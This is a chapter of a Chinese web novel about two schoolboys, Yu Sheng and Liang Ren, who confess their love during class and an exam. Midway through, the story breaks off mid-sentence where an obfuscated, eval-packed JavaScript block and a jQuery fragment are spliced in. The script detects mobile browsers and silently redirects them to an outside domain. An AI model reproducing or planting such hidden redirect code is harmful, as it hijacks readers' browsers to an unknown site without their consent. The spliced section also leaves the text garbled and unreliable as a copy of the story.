梁稔并没有听进多少他说的话，默默想着，手臂间的那一点缝隙就导致被伤到，那火势该多大啊……还有耳朵，又是怎么伤到的呢……梁稔又突然想到了什么——小学，车祸，丧母，失聪……一切都对的上……尽管很久之前就已经料到有这个可能，但在真正确立这个说法时还是一凉，浑身像冒着冷汗。
余剩觉察到了他的不对，抓住了他的手，紧张着：“怎么了？想到了什么？”
梁稔声音里带着哽咽，红了眼眶：“余剩……对不起……”
余剩先是一愣，然后抱住了他，贴着他的脖颈，气吹到了他的耳朵里：“不要道歉，但你可以哭。”
“你真傻……但是，我很喜欢。”梁稔偏过头，贴着他的唇，把余剩惹的又红了脸。
余剩闭上眼，小鸡啄米似的在他嘴上点了一下，然后往后退，和他划清界限。梁稔拉住他的手，十指相扣，两只手同样骨节分明，同样白皙，明显地，梁稔的手指长出一小段来。
余剩心跳还在加速，相握的手加了积分力道，颤颤巍巍地开口：“梁稔……你相信一见钟情吗？”
“不管你信不信，我想告诉你，我、对你一见钟情。”
“之前我一直以为一见钟情就是见色起意，再不济也只自我安慰而加的滤镜。”
“但我现在觉得，一见钟情是见到他第一眼就觉得，他很好，非常好。”
“或许一开始是单纯的喜欢，但慢慢地会变成爱，是不见面就想，一见面就笑。”
“一见钟情，是我对你，最好的诠释。”
“所以，你还喜欢我吗，无论你是否真的喜欢，我都想告诉你，我爱你。”
余剩说完这一段话，眼睛闪着光，注视着梁韧，他知道，那晚的那番话并非酒后胡言，而是酒后吐真言。
梁稔一时间没有反应，由着余剩扣着自己的手。余剩也不急，耐心地等待。
“哪有什么爱不爱的，很快就会结束了。”梁韧自嘲般笑了笑，“很快。”
上课铃却在这时响了，像一面鼓在他们心中发出巨大的声音，梁稔拉着他往教学楼走去：“你今天说的话，我会考虑考虑的。”
余剩一把抽开手，自顾自地跑回教室，留给梁稔一个背影。
梁稔想，等过了这段时间，他永远就只能看到他的背影了。
余剩坐在教室里，手撑着头，英语老师在上面“classbegin”他都没听到，等周围一片挪凳子的声音，“哗哗”全站起来“goodmorning,misswang”才反应过来，从座位上弹起。
“来——这位同学叫什么……余剩是吧”老师摆摆手让其他人坐下，“一个问题，回答上来就坐下，不会就滚外面去，whatis‘porch’mean?”
“什么……？”老师发音不是很标准，硬是把“porch”读成了“peach”。
“getout.Itmeans游廊，走廊。”，老师指向窗外，“大家不要像他一样啊，不穿校服，导致我们班被扣了2分。好，废话不多说，我们继续上课……”
余剩走到外面，看着被风吹动的树叶很烦，但不是因为老师，是因为梁稔那种无所谓的态度，他好像对事事都无所谓，但又不像他自己那种无所谓，梁稔的无所谓是从心底迸出来的，让人感觉就算他快死了，也是无所谓的态度。他可以快速地从一种情绪里抽离出来，不需要别人安慰，但这也代表着他没有得到过别人的安慰。
气完了，余剩又开始担心，担心他拒绝了自己，但两人已经0距离接触了，他要是在拒绝他就是渣男，对，渣男！
余剩这么想着，慢慢挪动自己的身体，靠近3班后门。正巧他们班前门是关着的，他便靠着两个班之间的墙，探出头往里看。
教室里所有人都埋头奋笔疾书，当然也有人在梦里奋笔疾书的，还传来试卷的翻动声，一个老师背着手在教室里慢慢巡视，路过在闭目养神的人时还敲敲桌子——好，敲的是余剩的心。
考试？？！那他们班待会是不是不下课了啊——那梁稔呢！我的表白呢！我的男朋友呢！老师——你不仅夺走了他们的下课时间，还夺走了我的爱情啊……
3班老师转了个身，看见一只黑老鼠俯着身，贼眉鼠眼的，他又回头看看班级——一个空座位，便走出教室，指着余剩的鼻子：“好啊，开学才几天就逃课了是吧，还有你这穿的什么！校服呢？我校校风校训是什么？孩子啊，你要知道，没有规矩不成方圆，念在是第一次，我就不管了，来，回来上课！”
余剩：“？”感情他是把我当逃课的学生了？
余剩被老师半推着坐到座位上，对着眼前的试卷发呆，“来，摸底考，看看你的基础怎么样，不会写没关系啊，想出一点是一点，你要敢于挑战自己……”吸引了教室里大半同学的目光。
老师我借支笔”余剩出声强行打断施法，“诶，借笔是吧好好好……借笔？！上学不带笔？算了，下次记得带，梁稔，借支笔给他。”
梁稔？？！余剩猛地回头，正对上一双“我看你想干什么的眼”
“你怎么坐这？”
“我还没问你，你来我们班干什么。”
“我怎么知道你们这老师怎么回事，莫名其妙把我拉过来了。”
“你给我安分点。”
余剩接过笔，暗道：“得，这些自己下课也没了。”
他拿着笔，秉持着半个学霸的专业素养还是把题做完了，然后便无所事事，开始打量这间教室，现在是下午四点，太阳朝着西面，那边的窗户拉上了窗帘，这就导致整个教室的灯几乎是唯一的光源，这样的间接结果是，东面的窗户——也就是走廊那边的窗户上面清楚地映上了他们的脸，他只要微微偏头就可以看见梁稔低头专注的样子。
说起来这还是余剩第一次见他的侧脸，他的头发不算长，正面是与嘴角齐平，前面在眼睛上面一点点位置，中间微微分开，后面也差不多到衣领的位置，露出大半个耳朵。他的发量和发质出奇的好，又很蓬松，显得整颗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031773|178660||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脑袋很圆润。
他脱了外套，松松垮垮地搭在椅背上，短袖板正地套在身上，虽然黑白撞色的短袖一般都不好看，梁韧的身形还是撑起了它，余剩低头看了看自己的一身黑：我穿校服应该也会这么好看的吧……而且穿校服还能免去许多不必要的麻烦，跟他在一起也不会太引人注目……
梁稔突然抬起头，望向窗户，余剩忙装着被一道大题卡住了，在草稿纸上胡乱画着，他听到身后的人低低笑了声，用手肘撞向那人的桌子以表自己的不满，梁稔顿了顿，踢了一脚余剩的板凳，余剩更用力撞了一下，他的桌子发出“刺啦”一声。
老师闻声看过来：“写完的同学好好检查，不要影响其他人，还有10分钟啊。”
梁稔轻轻碰了碰他的板凳腿，在余剩的手肘靠过来时用笔尖点了几下，余剩正想通过窗户瞪一下他，却看到窗户上比了个“ok”。
余剩疑惑不解，但心里隐隐地有些激动，继续看着。
梁稔见他看过来了，用手指指了一下自己，又指了一下余剩，然后两只手捏成半个椭圆状，和在一起。
他说：“我喜欢你。”
修长的手指映在窗户上，重复着那三个动作，重复着对他说：“我喜欢你。”
余剩呆愣住了，随即而来的是狂喜，他的嘴角不可抑制地上扬，心跳越来越快，脸也有些红了，眼底的欣喜再也藏不住。他从来没觉得这10分钟有那么漫长。他甚至几次掉过头去，朝梁稔比个心，老师也喊了好几次：“自己做自己的。”。
梁稔一开始还有些担忧，但见余剩这样，自己也高兴起来，在余剩把手放到他桌角的时候他握住了，指尖相触，第一感觉是像静电，两人都微微哆嗦了一下。
他们不是没有牵过手，但这次，他们确立了关系，以男朋友的名义牵手，以爱之名。
他们跨越了班级，跨越了性别，在中学时代的一场考试中，偷偷牵了个手。
没有人知晓这一切，就像过去的十几年，没人知晓梁稔的情谊一样。
现在那个人，对他说：“你可以哭。”
他曾经说：“你可以哭，但我希望你不要再伤心了。”可他还是弄哭了他，让他伤心了几年。
下课铃重重地敲响了，比刚才的上课铃还要响。循环往复。教学楼里瞬间充满了喧闹声。老师收完试卷，大部分学生们蜂拥着冲出了教室，梁韧和余剩牵着手，慢慢的在校园里溜达，他们没有发出声音，就那么静静地走着，走过草丛，走过花坛，走过校园里每一处地方。两人的身上都裹挟了香气，余剩觉得，还是梁稔身上的味道好闻。
他们没有告诉任何一个人，但他们告诉了这所学校里的一草一木，一花一树，甚至是昆虫。
今天是9月5日，余剩会永远记住这个日子。
但梁稔不会，梁稔记住的是3月24日。
余剩依依不舍的和他分别，回到了班级，前桌苏然立刻掉过头来：“去哪了啊余剩，老班上节课找你没找到，问你是不是逃课了。”